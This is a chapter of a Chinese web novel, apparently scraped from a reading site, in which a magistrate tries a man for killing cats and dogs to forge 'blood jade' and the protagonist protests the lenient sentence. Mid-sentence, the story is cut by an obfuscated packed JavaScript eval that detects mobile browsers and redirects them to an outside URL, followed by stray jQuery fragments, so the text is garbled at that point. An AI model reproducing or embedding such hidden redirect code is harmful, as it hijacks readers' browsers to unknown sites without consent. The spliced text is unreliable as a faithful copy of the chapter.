16. 第 16 章

作品:《被妖鬼逼着考状元养家

    苏令安有三只猫了,小晏,巧巧,还有一只全身绷带的小猫咪,看起来像个木乃伊,苏令安给它取了名字叫衣衣。


    “小晏,不可以这样。”


    只是小晏不太高兴,一个眼神把巧巧吓得炸毛,只敢贴着墙根走。


    衣衣看不懂眼神,看见威武的小晏,挪动着身体想要贴贴,奈何有心无力。


    “这两个是病号。”苏令安将小晏抱到怀里,轻声安抚。


    见四下无人,他冷不丁问道:“小晏,你是不是能听懂我讲话?”


    猫猫甩动的尾巴停了一瞬,随后若无其事的将脑袋拱到苏令安的手心。


    说什么呢?猫猫听不懂。


    “别装了,你是不是还入过我的梦?昨天树上那毛茸茸的东西是你的尾巴吧?”苏令安自顾自地说道,昨天那遮天蔽日的猫影他都接受了,再接受一只猫妖也没什么大不了的。


    他抱起小晏,眼睛直勾勾地盯着猫咪的绿眸。


    “会说话吗?”


    “喵?”


    “不会说话?”


    “喵。”


    “看来会说了。”


    “。。。。。。”我没说会呀,你乱解读什么?


    小晏歪头,小晏不解。


    “反正会说还是不会说,你应该能听懂我说话吧?赵明堂知道你这样吗?”苏令安心想,赵明堂作为一个正儿八经的古代人如果知道小晏是妖,应该会把他就地斩杀吧。但也说不定,也许会供奉起来呢?


    “他好像没什么异样,这么说,他是不知道罗?”苏令安想着,要不要把小晏从赵明堂那里要过来,担忧它如果身份暴露了,会不会陷入危险。


    “巧巧能变成人吗?”苏令安忽然想到,锐利的视线看了过去。


    角落里吃瓜的巧巧不知道怎么瓜就到它这里,面对苏令安的审视,它瞪着一双无辜的大眼,尽力展示自己只是一只普普通通没多少智力的小猫咪。


    小晏见巧巧这幅傻样,鄙夷到无语,伸出爪爪,优雅地舔起来。


    “好像不能,衣衣呢?”苏令安戳了戳木乃伊小猫漏出来的一小节绷带。


    “喵~”可可爱爱的一声回应。


    “是的~我们衣衣还在成长中呢~不知道能不能变。”苏令安夹着嗓子说道。


    小晏听到这声音刺得一激灵,人的嗓子还能发出这种声音吗?


    “我们衣衣?”赵明堂从外间进来,笑道:“稚卿很喜欢狸奴呢。”


    苏令安恢复了一本正经,问道:“什么时候审判?”


    “证据收集得差不多了,人证物证都有,明日一早就审案。”赵明堂回道。


    朝廷安排上任的新县令还在路上,赵明堂只能纡尊降贵当个主审官,县尉和县丞、主薄在一旁辅佐。


    杨万才被押上来,手脚被捆得严严实实,嘴里大喊着冤枉。


    “扑通。”衙役将他按跪在地上。


    “大人,我冤呀。”杨万才抬头对上赵明堂似笑非笑的眼,这人怎么好似见过,有点像那日潜入他宅邸的贼人。


    他心中一惊,低头沉思,脑袋飞速运转,自己院子里埋的只有猫的尸体,没犯什么大事,此人把他抓来,名不正言不顺,光天化日朗朗乾坤,就算他坐在上首,一副公正严明的模样,自己没做错事,他也把自己耐不得何。


    “杨万才,邻里传言,你家常常出现不明凄厉叫声,甚为吓人,使人夜不能寐。”县尉一旁说道。


    叫上证人,邻居陈三上前拜倒,然后说道:“小的是住在杨万才隔壁的,夜晚的时候,常常听见隔墙那边,挖土埋东西的声音,白天的时候偶尔会有狸奴惨叫声,夜晚尤多。”


    杨万才听完,半点不慌,镇静回道:“小人家里是养了几只狸奴,甚为顽劣,抓伤了小人,于是教训了一下。”


    “教训一下?那你院子里埋了数不尽的狸奴尸体又是怎么回事呢?”赵明堂沉声问道。


    杨万才脸色一变,咽了口唾沫,说道:“小人听闻狸奴滋味独特,于是偷偷尝了几口,觉得甚美,后来常常买来填补口腹之欲。大人,只是正常吃食,不犯法吧。”


    栅栏外的百姓听到回答,想法各异。


    有那吃狗肉的想,猫肉吃起来酸,这杨万才也能吃上瘾?


    有那看戏的想,猫肉真有那么好吃?值得隔三差五吃一回?


    也有人诧异,满院子狸奴尸体,这是杀了多少来尝?此人怕有异食癖吧。


    没人觉得吃猫有什么不对,只是觉着杨万才口腹之欲太重。


    “变态人渣。”苏令安高声骂道。


    杨万才往后一看,一看看见中央怒目而视的苏令安,他转了转眼珠,确认这就是一铁锹把他敲晕的人。


    于是喊道:“大人!这个人私闯民宅,将我打晕实在可恶,我朝律例,凡无故入人家者,即为盗贼,理应抓起来,好好审问一番!”


    “哦?那你也要把我抓起来吗?”赵明堂问道。


    杨万才脸一僵,刚刚气愤,一时忘了这里还有个帮凶。


    “大人和这贼人夜入小人的家里,实在,实在”他在赵明堂看蝼蚁一般的眼神中,感受到了自己的渺小,声音渐渐低了下去。


    民不与官斗,他对自己说,才不是被那人眼神吓到了呢。


    “大人,珍宝堂二当家赵全已到。”


    “上前来。”


    赵全俯身作揖,开口说道:“小的是珍宝堂二当家赵全,前几日在市集上时,曾见到有人买卖狗血玉,将狗血玉称之为鸡血玉,卖给他人。”


    “何为狗血玉?”


    “狗血玉是一种沁色玉赝品,是将烧的通红的玉石放入猫狗的腹腔里,以猫狗的气血养玉,然后埋入地下,不日后挖出来,即可养成狗血玉。”赵全答道,义正言辞地说道:“此法有伤天合,实在残忍,我发现此玉近日盛行,扰乱玉器买卖市场,常有不知情人将其买回去佩戴,玉镯、玉佩、玉石类的各种物件都有,想来是有人大规模的生产。”


    杨万才听到这里,心里发慌,一声不吭,只是低垂着头,暗暗思考对策。


    赵明堂看他一眼,唤上第三位证人。


    此人正是“中间商”吴辉,一开始嘴硬不肯说出幕后老板,挨了几大板子后老实了,将一切脱口而出,还写了诉罪书,签字画了押。


    此刻被人押上来,看见杨万才,像是看见亲人一般。


    痛哭流涕地喊道:“杨大少,你是来救我的吗?小的只是按照你的吩咐卖玉,没曾想这玉是这么一个来法呀?你可把我害惨了。”


    “你胡说些什么?我不曾见过你。”杨万才慌忙撇清,丝毫不承认两人有过私交。


    吴辉见他不肯认账,破罐


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17245469|197876||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    子破摔,朝堂上说道:“杨大少此前找到我,说有个生财的法子,问我要不要做。”


    “我当时一穷二白,听见他说,只需帮他卖个东西,本钱、货物什么的他出。我一听还有这种好事,连忙答应。他就喊人运来了很多麻袋,然后埋在我家后院,我见那麻袋鲜红,还有血水,里面似有活物在动,心中害怕,偷偷打开,发现是猫,问其何意。”


    “杨大少告诉我,此乃古法,以猫、狗的肚子养玉,养出来的玉颜色甚美,许多贵人喜欢,可以卖得高价。我当时半信半疑,一时鬼迷心窍,按照他的法子去做了,不日挖出来后拿去售卖,竟然真的有人喜欢。”


    “大人,我都是按照杨大少说的做的,真的不知此玉算作赝玉假货,欺瞒百姓,只是想温饱养活一家老小呀。”


    吴辉将一切抖露了个干净,杨万才暗骂成事不足败事有余。


    惊堂木重重砸了下来,堂下跪着两人心中一震,听得赵明堂说道:“杨万才,除了你住的这个院子还有吴辉家中的院子,你还在哪些地方做了此等丧尽天良之事。”


    “大人,我真不认识他。”


    “呵。”赵明堂讽笑一声,死不悔改,挥手让县丞把那些查出来的宅院念出来。


    “上百只猫、狗,一部分用来养玉,一部分纯粹的虐杀,人证物证据在,事到如今你还有何狡辩?”


    “那又如何,我朝律法从未说明,不可杀猫?大人,不知我何错之有!”杨万才死猪不怕开水烫了,事情已然败露,他也不装了,大声叫嚣道,一副你能奈我何的样子。


    真服了,怎么会有这样的人,今天能虐猫,明天就能杀人,此等丧心病狂的人,该施以鞭刑浸猪笼、砍头都不为过!苏令安义愤填膺,恨不得冲上去打上几拳,他用力抓着阻挡的栅栏,咬牙切齿,对着赵明堂,指了指杨万才,做了个割脖子的动作。


    判死他!所有一切伤害小动物的人渣都下地狱吧!


    “杨万才,你说你无罪?可我不这么认为,你以口腹之欲为由,用残忍手段虐杀猫狗,剥皮、拆骨、踢打、挖肚,此种做法,毫无人性天理不容,此为一罪。”


    “民间,百姓用狗看家护院,养猫抓鼠护粮,这两种动物有义有情,你却因一己私欲,将其杀害,以腹养玉,此为第二罪。”


    “其三罪,是你造假,以狗血玉充作鸡血玉售卖,此为商业欺诈,坑骗百姓,扰乱市场交易。”


    “这三罪,你认是不认?”


    赵明堂一条一条罗列清晰,有理有据,围观的百姓听之有理,杨万才行径恶劣,品行败坏,理应受罚。


    “那又如何?”杨万才不屑道:“除了卖玉这一条我认,其他的,哼!猫狗天经地义被人吃,你吃的,他吃的,我为何吃不得?至于虐杀?我还是那句话,我朝律法从来没有一句说明,虐杀猫狗者有罪。”


    狡辩!苏令安知道杨万才所说,确实属实,但如果因此放过他,那些无辜的小生命该如何安息?


    他急切地看向赵明堂,期望他能反驳他,拿证据拿法律去制裁他!


    “造假之物,全部销毁,杨万才背负石臼绕集市游行,鞭笞示众,以儆效尤。”惊堂木落下,一锤定音。


    苏令安不可置信地看向赵明堂,就这么轻飘飘地判了?这算是什么惩罚?


    “我不服!”他喊道。